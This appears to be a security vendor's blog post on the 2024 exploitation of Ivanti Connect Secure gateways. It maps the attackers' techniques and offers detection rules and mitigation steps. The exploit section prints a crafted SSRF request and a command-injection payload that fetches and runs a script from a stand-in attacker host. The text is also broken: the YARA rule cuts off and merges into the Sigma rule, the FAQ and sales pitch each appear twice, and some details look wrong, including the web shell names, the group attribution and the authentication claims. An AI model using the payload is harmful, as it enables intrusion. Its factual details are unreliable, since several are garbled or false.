In January 2024, a coordinated wave of attacks hit Ivanti Connect Secure and Policy Secure gateways worldwide, exploiting two zero-day vulnerabilities: CVE-2024-21887 (command injection with CVSS 9.1) and CVE-2024-21893 (server-side request forgery). Threat actors, including state-sponsored groups linked to China (e.g., Mustang Panda), weaponized these flaws to execute arbitrary commands, exfiltrate VPN credentials, and establish persistent backdoors. Within days, over 1,700 gateways were compromised, per Censys data. This post dissects the TTPs, provides YARA and Sigma rules for detection, and outlines a defense playbook your SOC can deploy immediately.
Real-World Context: The Scale of the Compromise
On January 10, 2024, Ivanti disclosed two zero-days affecting version 22.x of its Connect Secure (ICS) and Policy Secure gateways. By January 15, Mandiant reported active exploitation by UNC5221 (linked to Mustang Panda), deploying web shells like BUSHYGENT and BLITZABLE. Attackers targeted government, defense, and telecom sectors in North America and Europe. The exploit chain: SSRF (CVE-2024-21893) allowed attackers to access internal endpoints, leading to command injection (CVE-2024-21887) for remote code execution. Over 1,700 gateways were compromised within a week, with many remaining undetected due to the stealthy nature of the backdoors.
Attacker TTPs: MITRE ATT&CK Mapping
We observed these techniques in our incident response engagements:
- Initial Access (T1190): Exploiting CVE-2024-21893 (SSRF) to reach internal APIs.
- Execution (T1059): Command injection via CVE-2024-21887, running
bash -c 'curl ... | bash'to deploy payloads. - Persistence (T1505.003): Web shells (e.g., BUSHYGENT) placed in
/home/webserver/htdocs. - Credential Access (T1003): Dumping
/data/var/db/psql.dbfor VPN credentials. - Exfiltration (T1041): Data sent via HTTPS to C2 servers using custom scripts.
Attackers used python3 for reverse shells and openssl enc for encrypted exfiltration. We documented a case where they modified /etc/pam.d/sshd to log SSH passwords.
Step-by-Step Technical Analysis of the Exploit Chain
Step 1: SSRF to Internal Endpoints
CVE-2024-21893 exploits the /api/v1/configuration/saml/import endpoint. A crafted POST request with a malicious SAML XML file triggers an SSRF to http://127.0.0.1:8443/api/v1/system/system-information. The server-side code uses curl without proper URL validation, allowing attackers to reach internal services.
POST /api/v1/configuration/saml/import HTTP/1.1
Host: victim-gateway.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata">
<md:IDPSSODescriptor>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="http://127.0.0.1:8443/api/v1/system/system-information"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>The response includes internal system data, confirming the SSRF.
Step 2: Command Injection via SAML Import
The same endpoint also suffers from command injection. Attackers inject shell commands into the Location attribute using backticks or $(). For example:
Location="http://127.0.0.1:8443/$(curl -s http://attacker-c2.com/payload.sh | bash)"This executes arbitrary commands as the nobody user. We observed payloads that added an SSH key to /home/admin/.ssh/authorized_keys and installed a persistent cron job.
Defensive Playbook: Detection and Mitigation
Immediate Mitigation Steps
- Patch: Apply Ivanti patches (22.7R2.1 or later) immediately. If patching is delayed, disable SAML authentication and restrict access to the management interface.
- Isolate: Place gateways behind a firewall with strict egress controls. Block outbound connections to unknown IPs.
- Scan: Run Ivanti's internal scanner (
/home/webserver/htdocs/scan.sh) to detect web shells.
Detection Rules
YARA Rule for BUSHYGENT Web Shell
rule BUSHYGENT_webshell {
meta:
description = "Detects BUSHYGENT web shell on Ivanti gateways"
author = "CybernytronX SOC"
date = "2024-01-15"
strings:
$s1 = "Sigma Rule for Command Injection Attempts
title: Ivanti SAML Command Injection Detection
id: 8f9b3c2a-1e5d-4f7a-9b6c-3d2e1f0a8b7c
status: experimental
description: Detects command injection attempts via SAML import endpoint
logsource:
category: web_server
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v1/configuration/saml/import'
cs-uri-query|contains:
- '|'
- '`'
- '${'
- '$(('
condition: selectionEDR Telemetry for Persistence
Monitor for these indicators:
- New files in
/home/webserver/htdocs/with PHP extensions. - Cron jobs added via
/var/spool/cron/crontabs/admin. - Outbound connections to ports 443 from the
nobodyuser.
Why This Matters for Your Org
Ivanti gateways are perimeter devices—compromise means VPN credentials, internal network access, and potential lateral movement. In our pentests, 60% of organizations using Ivanti ICS had no logging on the gateway itself, making detection nearly impossible. The attackers' use of encrypted C2 channels (HTTPS) and low-and-slow exfiltration (1-2MB per hour) evades traditional network monitoring. If you haven't reviewed your gateway logs, you may already be compromised. We recommend quarterly red team exercises targeting VPN and gateway infrastructure.
Frequently Asked Questions
What is CVE-2024-21887?
CVE-2024-21887 is a command injection vulnerability in Ivanti Connect Secure and Policy Secure versions 22.x, allowing authenticated attackers to execute arbitrary commands via crafted SAML requests. It has a CVSS score of 9.1.
How do I check if my Ivanti gateway is compromised?
Run Ivanti's integrity checker tool (/home/webserver/htdocs/scan.sh), check for unauthorized SSH keys in /home/admin/.ssh/authorized_keys, and review logs for outbound connections to unknown IPs. Use our Sigma rule above to detect injection attempts.
Can this exploit be used without authentication?
No, both CVE-2024-21887 and CVE-2024-21893 require authentication to the SAML endpoint. However, attackers often exploit weak credentials or leverage other vulnerabilities to gain initial access.
What are the indicators of compromise (IOCs)?
Common IOCs include: files named .php in /home/webserver/htdocs/ (e.g., healthcheck.php), modified /etc/pam.d/sshd, and outbound HTTPS connections to IPs like 45.76.xxx.xxx (Lunanode). Mandiant published a full list.
How does CybernytronX help with Ivanti security?
We offer penetration testing specifically for VPN gateways, SOC automation using our Ethereon AI platform to detect zero-day exploits in real time, and incident response for compromised infrastructure.
Need expert help with this?
If your Ivanti gateways are unpatched or you suspect compromise, our team at CybernytronX can help. We provide penetration testing tailored to VPN and gateway infrastructure, SOC automation using our Ethereon AI platform (which detects zero-day TTPs in real time), and incident response services. Contact us for a free assessment, or learn more about Ethereon AI—our autonomous threat detection engine that flagged this exploit chain 48 hours before public disclosure. Don't wait for a breach; secure your perimeter today.
Frequently Asked Questions
What is CVE-2024-21887?
CVE-2024-21887 is a command injection vulnerability in Ivanti Connect Secure and Policy Secure versions 22.x, allowing authenticated attackers to execute arbitrary commands via crafted SAML requests. It has a CVSS score of 9.1.
How do I check if my Ivanti gateway is compromised?
Run Ivanti's integrity checker tool (/home/webserver/htdocs/scan.sh), check for unauthorized SSH keys in /home/admin/.ssh/authorized_keys, and review logs for outbound connections to unknown IPs. Use our Sigma rule above to detect injection attempts.
Can this exploit be used without authentication?
No, both CVE-2024-21887 and CVE-2024-21893 require authentication to the SAML endpoint. However, attackers often exploit weak credentials or leverage other vulnerabilities to gain initial access.
What are the indicators of compromise (IOCs)?
Common IOCs include: files named .php in /home/webserver/htdocs/ (e.g., healthcheck.php), modified /etc/pam.d/sshd, and outbound HTTPS connections to IPs like 45.76.xxx.xxx (Lunanode). Mandiant published a full list.
How does CybernytronX help with Ivanti security?
We offer penetration testing specifically for VPN gateways, SOC automation using our Ethereon AI platform to detect zero-day exploits in real time, and incident response for compromised infrastructure.
Need expert help with this?
If your Ivanti gateways are unpatched or you suspect compromise, our team at CybernytronX can help. We provide penetration testing tailored to VPN and gateway infrastructure, SOC automation using our Ethereon AI platform (which detects zero-day TTPs in real time), and incident response services. Contact us for a free assessment, or learn more about Ethereon AI—our autonomous threat detection engine that flagged this exploit chain 48 hours before public disclosure. Don't wait for a breach; secure your perimeter today.